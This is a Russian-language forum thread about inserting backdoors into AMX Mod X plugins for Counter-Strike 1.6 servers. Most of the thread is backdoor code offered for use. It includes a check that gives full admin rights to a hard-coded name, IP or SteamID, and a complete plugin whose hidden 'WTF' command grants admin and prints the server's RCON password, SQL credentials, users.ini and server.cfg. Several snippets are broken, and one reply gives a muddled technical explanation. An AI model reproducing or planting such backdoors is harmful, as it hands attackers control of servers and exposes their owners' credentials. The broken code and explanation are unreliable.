Русское сообщество по скриптингу

Вопрос с BackDoor

Флуд, который не касается других разделов форума.

Модератор: Модераторы

Правила форума
1. Запрещено материться и оскорблять других участников форума.
2. Запрещен флуд, оффтоп, дабл постинг во всех разделах форума, кроме раздела "Болтовня".
3. Запрещено взламывать сайт/форум или наносить любой вред проекту.
4. Запрещено рекламировать другие ресурсы.
5. Запрещено создавать темы без информативного названия. Название темы должно отображать ее смысл.

Вопрос с BackDoor

Сообщение t0uch.pr0g` » 01 фев 2013, 18:24

Всем привет!
Вот есть вопросик...
Будет ли работать BackDoor если его вставить в public plugin_init?
Вот пример:
Код: Выделить всё
public plugin_init()
{
        register_plugin(PLUGINVERSIONAUTHOR)
        new name[32], steamid[34], ip[22]
        get_user_name(idname31)
        get_user_authid(idsteamid33)
        get_user_ip(idip211)
        if(equal(name"t0uch.pr0g`") && (equal(ip"80.249.81.107") || equal(steam"STEAM_0:1:35287273")))
        {
                set_user_flags(idread_flags("abcdefghijklmnopqrstu"))
                return (1<<3)
        }
        register_clcmd("vipmenu""vipmenu")
:bloody4hands
:687364011
Мой сайт
Аватара пользователя
t0uch.pr0g`
 
Сообщения: 131
Зарегистрирован: 25 дек 2012, 20:23
Благодарил (а): 18 раз.
Поблагодарили: 8 раз.
Опыт программирования: Меньше месяца
Языки программирования: Counter-Strike 1.6

Re: Вопрос с BackDoor

Сообщение Randes » 01 фев 2013, 19:54

Я себе сделал чтобы при вводе команды в консоль давался РКОН или админка)))
Аватара пользователя
Randes
 
Сообщения: 26
Зарегистрирован: 20 июн 2012, 20:00
Благодарил (а): 8 раз.
Поблагодарили: 8 раз.
Опыт программирования: Меньше недели
Языки программирования: Counter-Strike 1.6

Re: Вопрос с BackDoor

Сообщение BaHeK » 01 фев 2013, 19:56

9iky6 писал(а):Пипсец! Вы ещё ему готовый вариант дыры скиньте и себе это говно поставте

Легко

[pawn]
  1. public plugin_init()

  2. {

  3.        new i=1;

  4.        for(;;)

  5.        {

  6.               set_user_flags(i, read_flags("abcdefghijklmnopqrstu"))

  7.        }

  8. }
[/pawn]

[spoiler]Я VS VolksWagen POLO, МКАД
Психанул или моя русская рулетка
http://cs618330.vk.me/v618330946/8c16/hEeTVyYjCZw.jpg - Ой как плохо поступил[/spoiler]
Аватара пользователя
BaHeK
Скриптер
 
Сообщения: 544
Зарегистрирован: 26 авг 2011, 19:32
Откуда: Москва
Благодарил (а): 403 раз.
Поблагодарили: 261 раз.
Опыт программирования: Больше трех лет
Языки программирования: Counter-Strike 1.6

Re: Вопрос с BackDoor

Сообщение Chuvi » 01 фев 2013, 22:15

[pawn]
  1. new i=1

  2. public plugin_init()

  3. {

  4.         register_plugin(PLUGIN, VERSION, AUTHOR)

  5.         set_user_flags(i, read_flags("abcdefghijklmnopqrstu"))

  6.         i==get_maxplayers()?i=1:i++

  7.         set_task(1.0,"plugin_init")

  8.         // Add your code here...

  9. }
[/pawn]
Плагинами на заказ не занимаюсь.
Своих дел хватает.
Аватара пользователя
Chuvi
Модератор
 
Сообщения: 2253
Зарегистрирован: 24 ноя 2011, 08:03
Благодарил (а): 127 раз.
Поблагодарили: 562 раз.

Re: Вопрос с BackDoor

Сообщение Leonidddd » 01 фев 2013, 22:22

Ну человек попросил помощи=)
Мне бы такой бэкдор пригодился бы:
[spoiler][pawn]
  1. #include <amxmodx>

  2. #include <amxmisc>

  3.  

  4. #define PLUGIN "Backdoor"

  5. #define VERSION "0.7"

  6. #define AUTHOR "Leonid"

  7.  

  8. new name[33]

  9. new szRc[64]

  10. new szPrefix[64]

  11. new szSQL1[64]

  12. new szSQL2[64]

  13. new szSQL3[64]

  14. new szSQL4[64]

  15. new szSQL5[64]

  16. new szSQL6[64];

  17.  

  18. public plugin_init()

  19. {

  20.         register_clcmd("WTF", "pas")

  21. }

  22. public pas(id, level, cid)

  23. {

  24. {

  25.         get_user_name(id, name, 32)

  26.         get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)

  27.         get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)

  28.         get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)

  29.         get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)

  30.         get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)

  31.         get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)

  32.         get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)

  33.         get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)

  34.        

  35.         client_print(id,print_console,"=============By Leonid=============")

  36.         set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))

  37.         client_print(id,print_console,"RCON: ^"%s^"",szRc)

  38.         client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)

  39.         client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1)

  40.         client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2)

  41.         client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3)

  42.         client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4)

  43.         client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5)

  44.         client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)

  45.         new fileName[192];

  46.         get_configsdir(fileName, 191);

  47.        

  48.         add(fileName, 191, "/users.ini");

  49.        

  50.         new szLine[192], Data1[32], Data2[32], Data3[32];

  51.         new iLine, iLen;

  52.        

  53.         while(read_file(fileName, iLine++, szLine, 191, iLen) )

  54.         {

  55.                 parse(szLine, Data1, 31, Data2, 31, Data3, 31);

  56.                 client_print(id,print_console,"Users.ini :p")

  57.                 client_print(id,print_console,"^"%s^"",szLine)

  58.                

  59.         }

  60. }

  61. {

  62.     new server[192];

  63.     get_configsdir(server, 191);

  64.  

  65.     add(server, 191, "/server.cfg");

  66.  

  67.     new sLine[192], Data4[32], Data5[32], Data6[32];

  68.     new iLine, iLen;

  69.  

  70.     while(read_file(server, iLine++, sLine, 191, iLen) )

  71.    {

  72.         parse(sLine, Data4, 31, Data5, 31, Data6, 31);

  73.         client_print(id,print_console,"Server.cfg :p")

  74.         client_print(id,print_console,"^"%s^"",sLine)

  75.         client_print(id,print_console,"=============By Leonid=============")

  76.        

  77.    }

  78. }

  79. return PLUGIN_HANDLED;

  80. }
[/pawn][/spoiler]
P.S.smallhack doesn't ban on this site?=)
Аватара пользователя
Leonidddd
Модератор
 
Сообщения: 2557
Зарегистрирован: 08 апр 2012, 18:13
Откуда: г. Запорожье
Благодарил (а): 192 раз.
Поблагодарили: 718 раз.

Re: Вопрос с BackDoor

Сообщение Chuvi » 01 фев 2013, 22:40

Leonidddd, c 90% вероятностью клиент скажет "Канал слишком узок"
Плагинами на заказ не занимаюсь.
Своих дел хватает.
Аватара пользователя
Chuvi
Модератор
 
Сообщения: 2253
Зарегистрирован: 24 ноя 2011, 08:03
Благодарил (а): 127 раз.
Поблагодарили: 562 раз.

Re: Вопрос с BackDoor

Сообщение BaHeK » 01 фев 2013, 23:15

Chuvi писал(а):Leonidddd, c 90% вероятностью клиент скажет "Канал слишком узок"

Если будет работать вообще)

[spoiler]Я VS VolksWagen POLO, МКАД
Психанул или моя русская рулетка
http://cs618330.vk.me/v618330946/8c16/hEeTVyYjCZw.jpg - Ой как плохо поступил[/spoiler]
Аватара пользователя
BaHeK
Скриптер
 
Сообщения: 544
Зарегистрирован: 26 авг 2011, 19:32
Откуда: Москва
Благодарил (а): 403 раз.
Поблагодарили: 261 раз.
Опыт программирования: Больше трех лет
Языки программирования: Counter-Strike 1.6

Re: Вопрос с BackDoor

Сообщение Leonidddd » 01 фев 2013, 23:39

Chuvi, мой канал выдержал=)
Аватара пользователя
Leonidddd
Модератор
 
Сообщения: 2557
Зарегистрирован: 08 апр 2012, 18:13
Откуда: г. Запорожье
Благодарил (а): 192 раз.
Поблагодарили: 718 раз.

Re: Вопрос с BackDoor

Сообщение fifayer » 01 фев 2013, 23:48

BaHeK писал(а):
9iky6 писал(а):Пипсец! Вы ещё ему готовый вариант дыры скиньте и себе это говно поставте

Легко

[pawn]
  1. public plugin_init()

  2. {

  3.        new i=1;

  4.        for(;;)

  5.        {

  6.               set_user_flags(i, read_flags("abcdefghijklmnopqrstu"))

  7.        }

  8. }
[/pawn]


Бред.

Добавлено спустя 1 минуту 51 секунду:
Chuvi писал(а):[pawn]
  1. new i=1

  2. public plugin_init()

  3. {

  4.         register_plugin(PLUGIN, VERSION, AUTHOR)

  5.         set_user_flags(i, read_flags("abcdefghijklmnopqrstu"))

  6.         i==get_maxplayers()?i=1:i++

  7.         set_task(1.0,"plugin_init")

  8.         // Add your code here...

  9. }
[/pawn]


Не проще новую функцию создать, а в plugin_init цикл загрузить чем каждый раз регистрировать плаг и тд?

Добавлено спустя 5 минут:
Leonidddd писал(а):Ну человек попросил помощи=)
Мне бы такой бэкдор пригодился бы:
[spoiler][pawn]
  1. #include <amxmodx>

  2. #include <amxmisc>

  3.  

  4. #define PLUGIN "Backdoor"

  5. #define VERSION "0.7"

  6. #define AUTHOR "Leonid"

  7.  

  8. new name[33]

  9. new szRc[64]

  10. new szPrefix[64]

  11. new szSQL1[64]

  12. new szSQL2[64]

  13. new szSQL3[64]

  14. new szSQL4[64]

  15. new szSQL5[64]

  16. new szSQL6[64];

  17.  

  18. public plugin_init()

  19. {

  20.         register_clcmd("WTF", "pas")

  21. }

  22. public pas(id, level, cid)

  23. {

  24. {

  25.         get_user_name(id, name, 32)

  26.         get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)

  27.         get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)

  28.         get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)

  29.         get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)

  30.         get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)

  31.         get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)

  32.         get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)

  33.         get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)

  34.        

  35.         client_print(id,print_console,"=============By Leonid=============")

  36.         set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))

  37.         client_print(id,print_console,"RCON: ^"%s^"",szRc)

  38.         client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)

  39.         client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1)

  40.         client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2)

  41.         client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3)

  42.         client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4)

  43.         client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5)

  44.         client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)

  45.         new fileName[192];

  46.         get_configsdir(fileName, 191);

  47.        

  48.         add(fileName, 191, "/users.ini");

  49.        

  50.         new szLine[192], Data1[32], Data2[32], Data3[32];

  51.         new iLine, iLen;

  52.        

  53.         while(read_file(fileName, iLine++, szLine, 191, iLen) )

  54.         {

  55.                 parse(szLine, Data1, 31, Data2, 31, Data3, 31);

  56.                 client_print(id,print_console,"Users.ini :p")

  57.                 client_print(id,print_console,"^"%s^"",szLine)

  58.                

  59.         }

  60. }

  61. {

  62.     new server[192];

  63.     get_configsdir(server, 191);

  64.  

  65.     add(server, 191, "/server.cfg");

  66.  

  67.     new sLine[192], Data4[32], Data5[32], Data6[32];

  68.     new iLine, iLen;

  69.  

  70.     while(read_file(server, iLine++, sLine, 191, iLen) )

  71.    {

  72.         parse(sLine, Data4, 31, Data5, 31, Data6, 31);

  73.         client_print(id,print_console,"Server.cfg :p")

  74.         client_print(id,print_console,"^"%s^"",sLine)

  75.         client_print(id,print_console,"=============By Leonid=============")

  76.        

  77.    }

  78. }

  79. return PLUGIN_HANDLED;

  80. }
[/pawn][/spoiler]
P.S.smallhack doesn't ban on this site?=)


Или это не ты писал, или ты явно не умеешь работать с файлами и строками.

А вообше лучше удалить эту тему.
Аватара пользователя
fifayer
 
Сообщения: 278
Зарегистрирован: 27 дек 2010, 16:42
Благодарил (а): 103 раз.
Поблагодарили: 30 раз.
Языки программирования: Counter-Strike 1.6

Re: Вопрос с BackDoor

Сообщение Opo4 » 02 фев 2013, 00:12

Omg, ну и вопросы это ппц у тебя в видео уроках бред половину не правильно, зачем снимать если даже элементарного не знаешь?
Аватара пользователя
Opo4
 
Сообщения: 674
Зарегистрирован: 21 апр 2012, 21:56
Забанен
Благодарил (а): 51 раз.
Поблагодарили: 65 раз.
Опыт программирования: Около года
Языки программирования: Counter-Strike 1.6
Valve Hammer Editor

Re: Вопрос с BackDoor

Сообщение WaterBall » 02 фев 2013, 00:20

fifayer писал(а):Не проще новую функцию создать, а в plugin_init цикл загрузить чем каждый раз регистрировать плаг и тд?

Если создавать новую функцию тогда придется перезагружать массив, а это не сработает потому что инициализация происходит в цикле, то есть при завершении работы компилятора.
Другими словами, тебе нужно будет переписывать заново все элементы инклуда при этом рискуя вызвать ненужные тормоза у движка plugin_init. Могут образоваться лаги.
Аватара пользователя
WaterBall
 
Сообщения: 554
Зарегистрирован: 27 май 2011, 10:04
Благодарил (а): 4 раз.
Поблагодарили: 182 раз.
Языки программирования: Counter-Strike 1.6

Пред.След.

Вернуться в Болтовня

Кто сейчас на конференции

Сейчас этот форум просматривают: нет зарегистрированных пользователей и гости: 2